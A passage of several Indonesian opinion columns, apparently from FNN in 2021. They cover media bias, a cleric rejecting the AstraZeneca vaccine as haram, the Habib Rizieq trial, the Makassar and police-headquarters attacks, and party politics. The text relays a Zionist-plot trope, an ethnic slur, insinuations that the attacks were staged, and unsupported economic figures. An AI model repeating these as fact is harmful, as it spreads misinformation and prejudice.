pastinya sangat sulit untuk bersikap independen. Menjadi corong kepentingan yang bisa jadi jauh dari obyektivitas pemberitaan. Cantoh media yang objektif terjadi pada “Skandal Watergate”. Meskpun Gedung Putih dan Presiden Richard Nixon telah berkali-kali membantah dugaan keterlibatannya dengan penyadapan terhadap “Gedung Watergate”. Namun dua wartawan The Washinton Post, Bob Woodward dan Carl Bernstein tetap gigih melakukan investigasi fakta lapangan. Sampai akhirnya menemukan keterlibatan Gedung Putih dan Presiden Nixon. Pucaknya Presiden Nixon mengundurkan diri sebelum voting pemakzulan oleh Senat Amerika. Begitulah tugas dan kewajiban media arus utama. Bukan hanya menerima dan menelan mentah-mentah informasi yang diterima dari satu pihak. Apa jadinya kalau Bob Woodward dan Carl Bernstein hanya menalan penjelasan dari pihak Gedung Putih dan Presiden Nixon? Karikatur bagus tiga anggota keluarga yang beredar di medsos. Sang Ayah bertopi haji bebaju ghamis membawa payung dan tasbih. Sementara istrinya berpakaian muslimah membawa bungkus berisi roti-roti. Anaknya membawa bola dan permen. Karikatur ini menimbulkan masalah atau salah paham bila tidak dilakukan infestigasi secara mendalam. Sebab bila dilihat dari layar kamera media, sang ayah payungnya bisa menjadi senjata laras panjang. Tasbihnya bisa menjadi peluru. Bungkus roti istrinya bisa menjadi bom dinamit yang melekat di tubuh. Adapun pada si anak yang membawa bola, bisa berubah menjadi bom bersumbu siap diledakkan, dengan pemantik yang asalnya dari permen. Wajah ceria dibalik kamera media berubah menjadi marah. Begitulah media mainstream membaca muslim selalu dalam wajah radikalis, intoleran dan teroris. Medianya kaum penjahat. Media yang seperti itu tak sadar bahwa telah menjadi bagian dari terorisme kepada masyarakat. Mungkin ada benarnya, “modern terrorism is media terrorism”? Penulis adalah Pemerhati Politik dan Kebangsaan.

Ponpes Amanatul Ummah Terima Vaksin, Asal Jangan AstraZeneca!

by Mochamad Toha Surabaya, FNN - Meski akhirnya PWNU dan MUI Jawa Timur membolehkan Vaksin AstraZeneca digunakan untuk vaksinasi Covid-19, Pengasuh Ponpes Amanatul Ummah KH Asep Saifuddin Chalim terang-terangan menolak vaksin AstraZeneca. Ia melarang keras 12.000 santri dan mahasiswa, serta 1000 lebih tenaga pengajar di lembaga pendidikannya disuntik vaksin Covid-19 dari Inggris tersebut. “Amanatul Ummah sangat mendukung vaksinasi, asalkan jangan vaksin AstraZeneca,” tegas Kiai Asep. Jika vaksin AstraZeneca haram mutlak bagi Amanatul Ummah. “Jadi, tidak ada halal mubah itu tidak ada,” katanya kepada wartawan di Institut KH Abdul Chalim, Desa Bendunganjati, Kecamatan Pacet, Kabupaten Mojokerto, Sabtu (27/3/2021). Kiai Asep menyebut, karena sesuai fatwa MUI Pusat yang mengatakan vaksin AstraZeneca itu mengandung (tripsin) pankreas babi dan hukumnya haram. Menurut MUI pusat hukumnya haram, tapi diperbolehkan ketika darurat. “Namun, di Amanatul Ummah tidak yang ada darurat. Karena selama satu tahun di Amanatul Ummah ini tidak ada yang terkena Covid-19,” terangnya. Menurutnya, Ponpes Amanatul Ummah bisa bebas Covid-19 karena selama ini menerapkan protokol yang ketat. Setiap santri yang baru datang, wajib lolos pemeriksaan rapid test, foto toraks dan pemeriksaan darah lengkap. Kiai Asep juga mengkritik Fatwa MUI Jatim yang menyatakan bahwa vaksin AstraZeneca halal dan bagus (halalan thoyiban). Ia menilai fatwa tersebut salah karena hanya menggunakan alasan istihalah atau perubahan bentuk dan ihlak atau penghancuran. MUI Jatim yakin tripsin pankreas babi yang digunakan dalam produksi vaksin AstraZeneca tidak lagi menjadi najis karena sudah berubah bentuk. Istihalah di situ disamakan dengan Ihlak, penghancuran, tidak ada nilai-nilai babinya. Istihalah dan ihlak tertangkal oleh Intifak. Yaitu bisa menjadi vaksin karena ada (tripsin) pankreas babinya. Intifak itu bukti yang tidak bisa dihilangkan. Buktinya apa? Jadi vaksin. Tanpa ada pankreas babinya tak akan jadi vaksin. “Keharaman intifak, baru pada pemikiran saja sudah haram, apalagi sudah ada realisasinya,” lanjut Kiai Asep. Imam Syafii dan Imam Hambali mengajarkan, istihalah atau perubahan bentuk dari benda najis menjadi tidak najis hanya berlaku pada tiga hal. Yaitu ketika arak berubah secara alami menjadi cuka, kulit yang diambil dari bangkai selain babi dan anjing, serta ayam yang menetas dari telur yang dikeluarkan dari ayam mati. Menurutnya, itu berbahaya sekali. “Itulah kenapa saya ngotot ingin memberitahukan kepada seluruh masyarakat Jatim bahkan Indonesia,” tegasnya. Ketika MUI Jatim hasil fatwanya tidak segera dicabut, dan MUI Pusat tidak memanggilnya, bahayanya ini menjadi pintu masuk lebar-lebar untuk semua produk (olahan) babi dihalalkan karena istihalah. “Karena semua produk babi pasti dengan Istihalah semua, tak mungkin gelondongan berupa babi,” terang Kiai Asep. Kiai Asep berharap pemerintah tak menggunakan vaksin AstraZeneca untuk vaksinasi Covid-19 di Jatim. Apalagi disuntikkan ke pesantren-pesantren. Sebab, ia berpendapat, kondisi saat ini tidaklah darurat. Masyarakat masih bisa menunggu pemerintah membeli vaksin yang dipastikan halal. Ia pun memberikan solusi ke pemerintah yang terlanjur membeli vaksin AstraZeneca dalam jumlah besar. “Solusinya agar digunakan di daerah-daerah nonmuslim yang tidak mempermasalahkan tubuhnya kemasukan unsur-unsur babi,” jelas Kiai Asep. Sementara untuk umat Muslim di Indonesia, Kiai Asep berharap pemerintah menggunakan vaksin jenis lain yang dipastikan halal. Terhadap para ulama Jatim yang terlanjut divaksin AstraZeneca, dia menyarankan agar memperbanyak istighfar. Harus mendatangkan lagi selain vaksin AstraZeneca. Masih banyak vaksin lain. Menunggu tidak masalah, tiga bulan, setahun tidak akan mati. Bukan darurat kalau seperti itu. Yang terlanjur divaksin? Istighfar saja yang banyak. Ia menjelaskan, kandungan babi dalam vaksin AstraZeneca akan berdampak negatif jika disuntikkan ke umat Islam. Muslim yang mengonsumsi zat-zat dari babi akan sulit diterima doanya oleh Allah SWT. Selain itu, proses kematian mereka saat sekarat juga akan sulit. Mohon maaf, banyak orang yang mengatakan Zionis dan Orientalis ingin makanan yang dikonsumsi orang-orang mukmin mengandung babi agar doanya tidak dikabulkan oleh Allah SWT. “Kan kasihan mereka adalah bangsa Indonesia, sebagai potensi Indonesia. Mohon kalimat saya ini didengar oleh Gubernur, Presiden oleh siapa saja. Kemudian MUI Pusat berbuat,” pesan Kiai Asep. Gumpal Darah Kalau Kiai Asep menolak vaksin AstraZeneca karena haram, lain halnya beberapa negara di Eropa yang menghentikan vaksin AstraZeneca karena terjadi kematian akibat penggumpalan darah. Arie Karimah, Pharma-Excellent, Alumni ITB menulis 7 kematian akibat penggumpalan darah setelah vaksinasi AstraZeneca. Dari 18 juta orang yang sudah divaksinasi dengan produk AstraZeneca di UK, ditemukan ada 30 orang yang mengalami masalah dengan penggumpalan darah yang tidak biasa. Data dari The Medicines and Helathcare Produsts Regulatory Agency (MHRA), BPOM UK menunjukkan: Ada 22 kasus adalah CVST (Cerebral Venous Sinus Thrombosis), yaitu munculnya gumpalan darah di otak. Kondisi ini disertai dengan rendahnya kadar platelet (trombosit). Dalam keadaan normal kadar platelet yang rendah justru akan memicu terjadinya pendarahan, bukan terbentulnya gumpalan darah. Ada 8 lainnya mengalami penggumpalan darah (terjadi) bukan di otak, juga disertai dengan kadar platelet yang rendah. Dari 30 orang itu akhirnya dilaporkan 7 orang meninggal. Tapi, belum diketahui dengan pasti apakah ini suatu kebetulan atau memang efek samping dari vaksin itu. Namun, negara-negara lain mulai berhati-hati: Jerman, Perancis dan Belanda mulai membatasi penggunaan vaksin ini hanya untuk orang tua. Dalam penelitian dan pengembangan produknya AstraZeneca bekerja sama dengan University of Oxford. Di Eropa kini tengah melakukan penelitian atas: Sifat penggumpalan darah yang tidak biasa, karena terjadi dalam keadaan kadar platelet yang rendah, yang harusnya justru menyebabkan pendarahan; Adanya antibodi langka yang menyebabkan gangguan pembekuan darah. Vaksin Pfizer juga tengah diteliti karena dari 10 juta orang yang telah divaksinasi ditemukan 2 yang mengalami CVST setelah vaksinasi. Namun tidak disertai dengan kadar platelet yang rendah sebagaimana kasus AstraZeneca. Kejadian penggumpalan darah sendiri masih menjadi tanda tanya: berapa sering sebenarnya dalam keadaan normal, tanpa vaksinasi. Diestimasikan bahwa dari 1 juta orang akan muncul 2 hingga 16 kasus dalam setahun. Dan infeksi Covid-19 berkaitan dengan penggumpalan darah yang abnormal, sehingga angka kejadian per sejuta orang ini tentu akan meningkat. Dari Jerman dilaporkan adanya 31 CVST dan 9 kematian setelah vaksinasi dilakukan pada 2,7 juta orang. Sebagian besarnya adalah usia muda atau wanita setengah baya. Berbagai analisa telah dicoba dilakukan terhadap masalah ini. Seandainya pun kematian itu berkaitan dengan vaksin, maka perlu dilakukan perbandingan sebagai berikut berdasarkan data di UK: dari 2,5 juta orang: 🥕1 kematian akibat vaksinasi. 🥕2.500 orang usia 40 tahun meninggal akibat infeksi Covid-19 🥕50.000 orang usia 60 tahun meninggal akibat infeksi Covid-19 Maka tetap saja manfaat vaksin jauh lebih besar dibandingkan risikonya. Rasio manfaat dan risiko vaksin akan terus dievaluasi mengingat program vaksinasi di Eropa mulai bergeser dari usia lanjut ke orang-orang muda, yang memiliki risiko kematian akibat infeksi lebih rendah. Sementara, seorang medical biologist mengatakan: adalah hal “biasa” jika secara tak sengaja ditemukan kluster efek samping yang langka. Namun, jika kluster itu ditemukan pada beberapa populasi, misal: kasus AstraZeneca ini di Jerman dan Inggris, maka sulit mengatakan bahwa ini kejadian acak. Jadi lebih cenderung dikatakan ada hubungan. Namun, tidak seorang pun berani mengambil kesimpulan bahwa keduanya berhubungan: kematian akibat penggumpalan darah dan vaksin AstraZeneca. Penulis adalah Wartawan Senior FNN.co.id.

FNN Lahir, Bertahan Membela Keadilan dan Kebenaran

by Sutoyo Abadi Jogjakarta, FNN - Kita bersyukur lahirnya FNN yang mampu memberikan informasi dan pencerahan komprehensif info selalu hasil cross chek dari berbagai sumber dan analisa tajam yang objektif atas kejadian yang sebenarnya. Saat ini banyak media hanya menyiarkan informasi yang berasal dari satu sumber. Wartawan mulai takut untuk terjun ke lapangan dan menggali serta memperkaya informasinya lebih lanjut. Analisa, alur kejadian, dan struktur pemberitaan tampak kehilangan spirit jurnalisme benar dan baku. Tidak bermaksud menghakimi bahwa jurnalis Indonesia makin tumpul cara berpikirnya. Saya hanya menangkap bahwa jurnalis Indonesia makin tertekan. Makin harus banyak berkompromi, dan makin tidak bebas mengeksplorasi peristiwa. Lebih berbahaya info hasil olahan buzzer muncul dengan bebagai ragam corak dan versinya. Buzzer beda dengan jurnalis. Buzzer jelas bukan jurnalis. Buzzer hanya menulis, berteriak, berdasarkan perintah kakak pembina atau majikannya. Peristiwa apa harus disikapi bagaimana? Sudah di-setting secara terstruktur dan sistematis. Contoh kasus penembakan di Mabes Polri. Info yang spontan kita terima kering dari info yang dalam. Misalnya, dengan siapa perempuan itu datang? Siapa yang mengantar? Mengapa KTP tidak ditinggal di pos depan pintu masuk? Mengapa aparat tidak menangkapnya? Siapa keluarganya? Mengapa dia baru membuat Instagram sehari sebelumnya? Apakah dia melek digital? Sehingga baru bisa membuat Instagram dan lain-lain? Tugas utama jurnalis adalah menyampaikan kebenaran (Kovach & Rosenthiel, 2002). Itu bisa dilakukan dengan menelusuri jejak sebelum dan sesudah insiden terjadi. Karya jurnalistik tak cukup hanya dengan menjawab 5W+1H. Karena siaran pers polisi isinya sudah memenuhi syarat itu. Hadirnya FNN saat ini seperti menjadi OASE satu-satunya sumber terbaik, akurasi berita dan informasinya menjadi rujukan masyarakat. Memang ada konsekuensinya kalau istana tiba-tiba marah pasti akan muncul rekayasa memaksa FNN harus membubarkan diri. FNN bukan hanya menyampaikan informasi atas setiap peristiwa, tetapi hadirnya Bung Hersubeno Arif berwawancara khusus dengan Bung Rocky Gerung, menjadi salah satu media pencerahan yang luar biasa elegan, faktual, dan terpercaya mendasari diri pada analisa dan kajian akal sehat. Selamat berjuang : Bung Hersubeno Arif, Bung Rocky Gerung, Bung Said Didu, Bung Edy Mulyadi dan kawan-kawan... Doa kami menyertai menyertai anda semua. Selamat berjuang. Perjuangan tuan-tuan yang penuh resiko tidak akan sia-sia. Aamiin Ya Robbal Alamin. End. Penulis adalah Sekretaris KAMI se-Jawa.

April Mop

APRIL Mop dirayakan setiap tanggal 1 April. April Mop tahun ini jatuh pada Kamis (1/4/2021). April Mop adalah hari di mana Anda bebas untuk mengerjai teman, kerabat, keluarga, kekasih, dan orang-orang terdekat. Kali ini siapa yang dikerjai dan siapa yang mengerjai. Yang dikerjai adalah Bank Indonesia dan Pemerintah, yang mengerjai adalah pasar. Loh kok, bagaimana bisa? Ihwal ini dapat dilihat pada tiga kinerja Bank Indoneisa dan Pemerintah, yakni cadangan devisa, keuangan dan investasi. Begini penjelasannya. Meski cadangan devisa meningkat pada Februari 2021, namun ke depan berpotensi tergerus karena dipicu kecenderungan keluarnya aliran modal dari dalam negeri (capital outflow). Hal ini perlu diwaspadai mengingat normalisasi imbal hasil obligasi dan suku bunga acuan global tengah terjadi di tengah tren suku bunga domestik yang rendah. BI melaporkan, cadangan devisa Indonesia pada akhir Februari 2021 sebesar US$138,8 miliar (Rp1.988 triliun), jumlah itu cukup untuk 9,7 bulan impor. Jumlah ini meningkat dari posisi pada akhir Januari 2021 yang sebesar USS$138 miliar (Rp 1.977 triliun). Namun hanya dalam waktu 9 hari terjadi pelarian modal yang signifikan, sehingga cadangan devisa anjlog tersisa hanya US$118 miliar. Karena itu BI sedang pusing tujuh keliling, memutar otak untuk menggenjot kembali cadangan devisa. Kedua, soal keuangan negara yang menonjol adalah cicilan utang pokok dan bunga dari China yang konon harus dipenuhi sebesar Rp730 triliun pada bulan April ini. Cilakanya Pemerintah harus menyiapkan dana tunai untuk kebutuhan membayar utang tersebut. Sepanjang 2020 China masih memberi toleransi pada Pemerintah Indonesia karena adanya Covid-19. Tapi pada April 2021 ini China tidak ada toleransi mengingat jika tidak dibayar maka vaksin asal China taruhannya. Ketiga, yang harusnya menjadi pemanis kinerja ekonomi adalah soal investasi. Khususnya rencana investasi produsen mobil buatan AS Tesla. Padahal pada November 2020 Pemerintah Jokowi sudah sangat percaya diri bahwa Tesla akan berinvestasi di Indonesia, bahkan para pejabat Indonesia sudah empat kali berkunjung ke markas Tesla di Amerika. Oleh karena faktor non teknis, kabarnya terkait take and give, akhirnya Tesla memutuskan berinvestasi ke India, keputusan ini disebabkan tingginya ketidakpastian. Tesla adalah potensi energy storage system (ESS) yang merupakan bagian dari proyek rantai pasok ekosistem industri baterai di Indonesia. Dalam potensi ESS ini, Tesla menawarkan solusi teknologi yang dapat menggantikan pembangkit listrik peaker. Apalagi Indonesia kaya akan nikel sebagai bahan baku baterai. Praktis, tiga masalah tersebut di atas--cadangan devisa, keuangan dan investasi--telah berubah menjadi April Mop. Pukulan telak atas kinerja Bank Indonesia maupun Pemerintah dengan pelaku utamanya adalah pasar. Semoga segera teratasi, atau justru makin menjadi benang kusut?

Ketika Negara Dikuasai Kaum Pandir

REZIM ini menghabiskan waktu, pikiran, tenaga, dan uang hanya untuk membunuh aktivitas Habib Rizieq Shihab dan Front Pembela Islam. Entah apa yang merasukinya, rezim tampaknya yakin mampu mewujudkannya karena merasa negara ini kaya raya tanpa batas. HRS dan FPI dikesankan sebagai musuh negara yang membahayakan. Padahal ia cuma dipaksa melanggar protokol kesehatan. Ada peristiwa yang luput dari perhatian publik yakni eksepsi HRS di Pengadilan Negeri Jakarta Timur Jumat, 19 Maret 2021. Maklum, pembacaan eksepsi itu sengaja tidak disiarkan oleh pengadilan. Satu tindakan yang tidak adil dalam proses pengadilan HRS, sementara dalam sesi sidang yang lain semua disiarkan melalui media massa. Eksepsi itu berjudul "Mengetuk Pintu Langit, Menolak Kezaliman, Tegakkan Keadilan". Ini bukan eksepsi HRS semata, tetapi ini eksepsi seluruh rakyat Indonesia, sebab sebagian isinya adalah menyuarakan perjuangan melawan kezaliman. Tidak hanya soal kerumunan. Di situ HRS juga membongkar adanya operasi intelijen berskala besar yang targetnya adalah menguasai NKRI. Ancaman yang bakal menimpa seluruh rakyat Indonesia, tak hanya HRS. Eksepsi HRS sebagian lainnya berisi soal kerumunan karena memang dakwaan jaksa adalah soal kerumunan. Ada 10 poin pelanggaran kerumunan yang dituduhkan oleh Jaksa dalam sidang pertama dan langsung dimentahkan oleh eksepsi. Contoh paragraf eksepsi yang tidak berisi soal kerumunan dan menyuarakan visi perjuangan melawan kezaliman rezim, terdapat pada alinea ini: "Habib Rizieq Shihab dikriminalisasi dan gerakannya coba dipadamkan dengan berbagai cara agar para antek 'aseng' dan asing tetap nyaman menjajah dan menjarah harta kekayaan NKRI. Oleh karena itu, bagi pribumi Indonesia yang sadar akan hal ini, gerakan 212 telah membangkitkan semangat pribumi untuk memerdekakan kembali negeri ini untuk yang kedua kalinya. Gerakan ini muncul setelah melihat aset-aset strategis NKRI telah jatuh kembali ke tangan para VOC Gaya Baru. VOC yang direpresentasikan oleh kaum oligarki dan konglomet picik, licik, busuk dan tamak yang bekerjasama dengan rezim zalim, dungu, dan pandir di NKRI." (Eksepsi dalam sidang di PN Jaktim, Jakarta Timur, Jumat, 19/3/2021). Bila dilihat dari apa yang diperjuangkan oleh Habib Rizieq Shihab dan kawan-kawan, sebagaimana yang dialami oleh Proklamator Ir Sukarno seperti riwayat yang kami kutipkan di atas, jelas bahwa kriminalisasi Habib Rizieq Shihab dalam perkara a quo tidak lepas dan merupakan bagian dari operasi intelijen berskala besar (OIBB) oleh rezim zalim, dungu, dan pandir. Operasi intelijen berskala besar ini nelewati beberapa tahapan. Pertama, operasi black propaganda terhadap Habib Rizieq Shihab dan FPI. Kedua, operasi kontra narasi terhadap Habib Rizieq Shihab dan FPI. Ketiga, operasi pencegahan kepulangan Habib Rizieq Shihab dari Arab Saudi. Walau gagal mencegah Habib Rizieq Shihab pulang, tetapi berhasil menghambat dan mengganggu kepulangan sehingga membutuhkan waktu 2,5 tahun baru Habib Rizieq Shihab bisa pulang. Keempat, operasi penggalangan tokoh masyarakat dan tokoh agama di berbagai provinsi untuk menolak keberadaan Habib Rizieq Shihab dan FPI. Kelima, operasi konyol penurunan baliho di berbagai tempat oleh aparat yang bukan tupoksinya. Keenam, operasi konyol mengerahkan komando operasi khusus hanya sekadar untuk membunyikan sirene di Petamburan. Ketujuh, operasi pembantaian pengawal Habib Rizieq Shihab. Kedelapan, operasi surveillance dan penjejakan terhadap Habib Rizieq Shihab sehari 24 jam, seminggu 7 hari, sebulan 30 hari, setahun 365 hari. Bukti paling nyata bahwa persidangan ini adalah lanjutan dari operasi intelijen berskala besar adalah persidangan tidak dilakukan sesuai dengan Kitab Undang-Undang Hukum Acara Pidana. Persidangan tidak dilakukan pada locus delicti peristiwa yang didakwakan. Pasal-pasal yang didakwakan mengarah pada pasal-pasal dengan ancaman yang bermotif politik seperti penerapan Pasal 10 dan 35 KUHP serta pasal-pasal selundupan lainnya. Persidangan dilakukan melalui sidang elektronik. Padahal tidak ada satu pun UU yang membolehkan. Penerapan pasal yang tidak pada tempatnya. Penambahan pasal-pasal yang terus terjadi untuk memperberat ancaman hukuman. Pasal-pasal yang bisa digunakan hanya agar Habib Rizieq Shihab bisa ditahan selama mungkin karena ada agenda politik yang menghendaki. Pandir radikal itu telah menguasai bangsa ini. Mereka tak mampu berpikir jernih. Kebencian dan permusuhan terus digelorakan untuk menutupi kepandirannya. (SWS)

Bom Bunuh Diri, Teror, dan Peristiwa Yang Serba Kebetulan

INDONESIA dalam sepekan terakhir diguncang berbagai peristiwa mengejutkan. Ahad (28/3) sebuah aksi bom bunuh diri terjadi di Gereja Katedral, Makassar. Dua orang pelaku bom bunuh diri tewas. 20 orang jemaat gereja terluka. Belakangan diketahui pelaku adalah pasangan suami istri. Setelah ledakan di Makassar, polisi melakukan sejumlah penangkapan di Bekasi dan Jakarta. Polisi mengklaim menemukan 100 bom berdaya ledak tinggi. Uniknya di beberapa lokasi penangkapan, polisi mengaku menemukan poster Habib Rizieq Shihab, pakaian dengan atribut, dan kartu anggota FPI. Polisi juga menyebutkan bahwa dua diantara terduga teroris sempat hadir di Pengadilan Negeri Jakarta Timur, tempat persidangan Habib Rizieq Shihab. Saat kehebohan di Makassar belum reda, tiba-tiba kita dikejutkan dengan peristiwa yang oleh hampir semua media mainstream disebutkan sebagai “Mabes Polri Diserang Teroris.” “Terjadi tembak-tembak menembak, teroris ditembak mati,” begitu media menggambarkan peristiwa yang terjadi Rabu (31/3). Video “aksi teroris” di Mabes Polri segera beredar di dunia maya. Tampaknya video itu berasal dari CCTV di Mabes Polri. Berkat CCTV inilah publik bisa mendapat gambaran sesungguhnya. Dari video tersebut publik jadi bertanya-tanya. Benarkah Mabes Polri diserang teroris? Di dalam video itu yang terlihat seorang wanita seperti berjalan kebingungan. Sesekali dia seperti menunjukkan gerakan orang menembak. Tak lama kemudian kita bisa menyaksikan dia roboh. Dari suara di dalam video kita mengetahui, wanita itu sudah ditembak mati. Reaksi netizen hampir seragam. Mereka mempertanyakan narasi yang coba dibangun oleh media, bahwa Mabes Polri diserang teroris. Terjadi tembak-menembak. Penjelasan dari Kapolri Jenderal Listyo Sigit Prabowo bahwa pelaku adalah teroris lone wolf beridiologi ISIS, tidak dipercaya publik. Apalagi kemudian tersebar sebuah surat yang disebut sebagai wasiat ditulis oleh Zakiah Aini. Begitu nama perempuan nahas yang ditembak mati itu. Perihal surat inilah yang kemudian menimbulkan kehebohan. Netizen menemukan banyak kemiripan dengan “surat wasiat” yang ditulis oleh pelaku bom bunuh diri di Makassar. Bom di Makassar, dan aksi teroris bingung di Mabes Polri ini, secara kebetulan muncul bersamaan dengan persidangan Habib Rizieq. Secara kebetulan pula, pada saat itu Mabes Polri sedang kelimpungan menjelaskan kepada publik soal pelaku penembakan enam laskar FPI. Polisi sebelumnya mengaku akan menuntaskan kasus penembakan itu. Tiga orang polisi dinyatakan menjadi tersangka. Siapa saja mereka? Tidak pernah dijelaskan. Namun melalui akun anonim dan juga pemberitaan media, nama ketiganya beredar. Polisi rendahan dengan pangkat Brigadir. Tidak ada satupun yang berpangkat perwira. Padahal dari investigasi Komnas HAM disebutkan ada sebuah mobil Land Cruiser di lokasi KM-50. Tidak mungkin seorang polisi berpangkat Brigadir mengendarai mobil mewah tersebut. Jelas dia seorang perwira. Paling jelek perwira menengah, atau bahkan perwira tinggi. Tiba-tiba saja Mabes Polri mengumumkan salah satu pelaku penembakan tewas karena kecelakaan. Ihwal pengumuman tewasnya satu pelaku penembakan ini sangat mencurigakan. Namanya sama sekali tidak pernah disebut sebelumnya. Hal lain yang kian mencurigakan, warga, bahkan Kapolsek Setu, Tangerang Selatan yang disebut sebagai lokasi kejadian, mengaku tidak tahu menahu. Agak sulit menghindarkan persepsi, bahwa semua rangkaian kejadian secara kebetulan berhubungan. Banyak yang curiga hal itu merupakan pengalihan isu. Ada juga dugaan, semua rangkaian peristiwa dengan tujuan menjadikan Habib Rizieq sebagai target. Pengamat teroris Sydney Jones misalnya, secara terbuka menyatakan, sangat tampak penguasa ingin menjadikan FPI sebagai teroris. Dalam bahasa Jones, polisi sangat obsesif. Berbagai kejanggalan, keanehan, serta serba kebetulan ini harus dijelaskan kepada publik. Publik sudah telanjur tidak percaya kepada pemerintah dan apapun informasi yang disampaikan polisi. Public distrust semacam ini sangat berbahaya. Perlu kerja keras, dan sikap tulus untuk merebut kembali kepercayaan publik. Itu kalau pemerintah masih menganggap perlu. Lain halnya kalau pemerintah menganggap semua itu tidak penting. Tidak perlu. Toh mereka sekarang yang berkuasa. Rakyat mau apa? end

Moeldoko Knock Out?

by M Rizal Fadillah Bandung FNN - Upaya Moeldoko untuk sukses mengkudeta Ketua Umum Partai Demokrat Agus harimurti Yudhoyono (AHY) telah membentur tembok. Tiga tembok yang membuat Moeldoko sulit menembus . Pertama, perlawanan politik Soesila Bambang Yudhoyono (SBY) dan AHY. Kedua, rakyat yang tak suka dengan gaya kudeta. Ketiga, Menkumham yang menolak. Moeldoko akhirnya terkapar. Bukankah Moeldoko itu mendapat proteksi sebagai kepanjangan tangan dari kepentingan Presiden Jokowi? Bukankah Menkumham itu adalah kader partai penguasa yang tugasnya memback-up Presiden Jokowi? Mengapa tidak mampu merealisasikan skenario sukses kudeta dengan memperoleh legalitas dari Kemenkumham? Disamping modal politik KLB yang rendah dengan sedikitnya DPC asli yang ikut. Banyak DPC gadungan yang ilit KLB, sehingga tidak sah sebagai peserta Kongres, juga kelemahan terberat Moeldoko adalah bukan kader Partai Demokrat. Sehingga Moeldoko sangat minim akses kepada para kader dan institusi partai di daerah-daerah. Semua kenyataan tentu saja berkonsekuensi pada ketidakmampuan Moeldoko dan timnya. Moeldoko tidak secara cepat melakukan pembelahan partai. Ada beberapa faktor yang mungkin menjadi penyebab ditolaknya permohonan keabsahan KLB Deli Serdang, disamping masalah tidak terpenuhinya ketentuan dalam Anggaran Dasar (AD) dan Anggaran Rumah Tangga (ART). Pertama, Menkumham Yasonna adalah kader PDIP, yang dalam prakteknya Ketua Umum PDIP Megawati beradu pengaruh dengan Presiden Jokowi. Penolakan ini dibaca sebagai bagian dari peningkatan posisi tawar PDIP atas Jokowi. Orang Jokowi saja bisa digagalkan. Kedua, tidak tertutup kemungkinan AHY atau SBY memiliki "deal" tertentu dengan Jokowi. Apakah itu soal Pilpres atau Pilkada ke depan, atau kebijakan perundang-undangan tertentu yang telah masuk Program Legislasi Nasional (Prolegnas). Moeldoko bisa diabaikan untuk kepentingan Jokowi yang lebih besar. Termasuk kepentingan nasib masa depan Gibran nanti. Ketiga, baik PDIP maupun Jokowi keduanya "cuci tangan". Terkesan bersih pada tahap penentuan oleh Pemerintah. Moeldoko didorong maju ke proses hukum melalui gugatan di Pengadilan Tata Usaha Negara (PTUN). Bisa saja secara diam-diam PDIP dan Jokowi membantu dan mendorong Moeldoko untuk "sukses di proses hukum" tersebut. Moeldoko ternyata belum KO. Kemungkinan hanya grogi sedikit saja. Lagi disiapkan untuk pulih kembali, baru kemudian bergerak terus untuk memenangkan pertarungan di ujung. Moeldoko tetap masih bisa tetap berperan strategis dalam posisi sebagai Kepala Kantor Staf Presiden (KSP). Itupun kalau ngga diganti dari jabatan KSP Sebenarnya Jokowi menghadapi pilihan sulit. Di satu sisi harus menggolkan Moeldoko sebagai Ketum Partai Demokrat, dalam upaya menyempurnakan koalisi partai. Namun di sisi lain terlalu lemah basis dukungan Moeldoko di internal Partai Demokrat. Demikian juga dengan publik yang tak suka pada cara kudeta vulgar melalui KLB yang terkesan dipaksakakan. Ketika kudeta gagal, belajar pada kegagalan PKI dahulu. Maka bukan mustahil akan berimbas pada guncangan kekuasaan Jokowi seperti jatuhnya Soekarno saat itu. Seluruh elemen rakyat menjadi musuh bersama dari kekuasaan otoriter. Koalisi pun akan ikut berbalik dukungan. Para pembisik Jokowi faham akan situasi ini. Oleh karenanya permainan layak diperpanjang melalui gugatan di PTUN. Moeldoko harus bersiap berlari maraton. Lari sprint telah gagal. Sebab di usia Moeldoko yang sudah 63 tahun masih kuatlah untuk berlari maraton? Jika berat, maka dipastikan Moeldoko akan terkapar lagi. Ada sindiran sebaiknya Moeldoko menyerah saja. Sebaiknya Moeldoko berjuanglah untuk menjadi Ketua DPC Partai Demokrat Deli Serdang saja dulu, di bawah kepemimpinan Ketum AHY. Itu akan lebih baik dan mudah. Penulis adalah Pemerhati Politik dan Kebangsaan.

Membaca Fenomena Teroris, Dari Manifesto Sampai Surat Wasiat

by Ubedilah Badrun Jakarta FNN - Bom Bunuh diri di Gereja Katedral Makasar (28/03) dan serangan teror di Markas Besar Kepolisian (31/03) menggugah penulis untuk membaca ulang fenomena teroris ini. Tidak mudah memang membaca fenomena teroris. Apalagi untuk memastikan kapan terorisme mulai ada. Tetapi secara historis, awal mula terorisme itu bisa ditelusuri dari wilayah Eropa. Dalam catatan sejarah, bisa dicermati dari abad ke-5 Masehi. Pada tahun 476 Masehi, dunia mencatat serangan teroris terhebat yang mampu meruntuhkan kekuasaan Kekaisaran Romawi Barat waktu itu. Teroris yang meruntuhkan kekaisaran Romawi Barat ini berasal dari salah satu suku di Eropa. Pada saat itu orang Romawi Barat menyebut suku tersebut sebagai Barbar. Peristiwa ini mengakibatkan jatuhnya ribuan korban jiwa. Peristiwa runtuhnya Romawi Barat ini menandai mulainya abad kegelapan (dark ages) di Eropa selama 1000 tahun. Pada masa terorisme awal ini, latar belakangnya bukan karena hal-hal yang bersifat sakral atau keagamaan, tetapi lebih karena persoalan keinginan untuk berkuasa dan semacam ada idiologi anarkisme di kaum barbar. Secara etimologis, istilah teror dan terorisme sesungguhnya baru mulai populer pada abad ke-18. Namun fenomena yang ditunjukannya bukanlah fenomena baru. Menurut Grant Wardlaw dalam buku Political Terrorism (1982) mengemukakan bahwa manifestasi terorisme sistematis muncul sebelum Revolusi Prancis. Tetapi baru mencolok sejak paruh kedua abad ke-19. Dalam suplemen kamus yang dikeluarkan Akademi Prancis tahun 1798, terorisme lebih diartikan sebagai sistem rezim teror, yang menciptakan ketakutan di tengah-tengah masyarakat. Sementara menurut David C Rapoport(1989), pendiri jurnal ilmiah Terrorism and Political Violence, dalam The Morality of Terrorism, membagi teror dalam tiga kategori, yakni (1) Religious Terror, (2) State Terror, dan (3) Rebel Terror. Jika dilihat dari segi pelakunya, bisa dikategorikan dalam tiga kelompok, yaitu personal terrorism, collective terrorism, dan state terrorism. Contoh paling mudah untuk memahami religious terror adalah keadaan yang terjadi saat perang salib(1096-1271). Contoh state teror atau state terrorism adalah serangan besar-besaran Amerika Serikat terhadap warga sipil Afghanistan (2001) dan Iraq (2003). Contoh rebel terror dan atau collective terrorism adalah pemberontakan kelompok radikal dalam suatu negara. Sedangkan 